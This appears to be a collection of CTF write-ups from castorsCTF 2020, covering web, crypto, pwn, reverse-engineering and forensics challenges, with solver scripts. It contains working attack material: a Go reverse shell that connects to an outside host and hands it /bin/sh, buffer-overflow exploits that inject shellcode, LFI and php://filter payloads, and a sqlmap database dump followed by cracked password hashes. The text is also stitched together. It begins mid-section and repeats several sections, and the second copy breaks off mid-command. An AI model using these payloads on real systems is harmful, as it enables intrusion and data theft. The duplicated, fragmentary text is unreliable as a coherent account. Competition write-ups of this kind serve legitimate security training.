After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
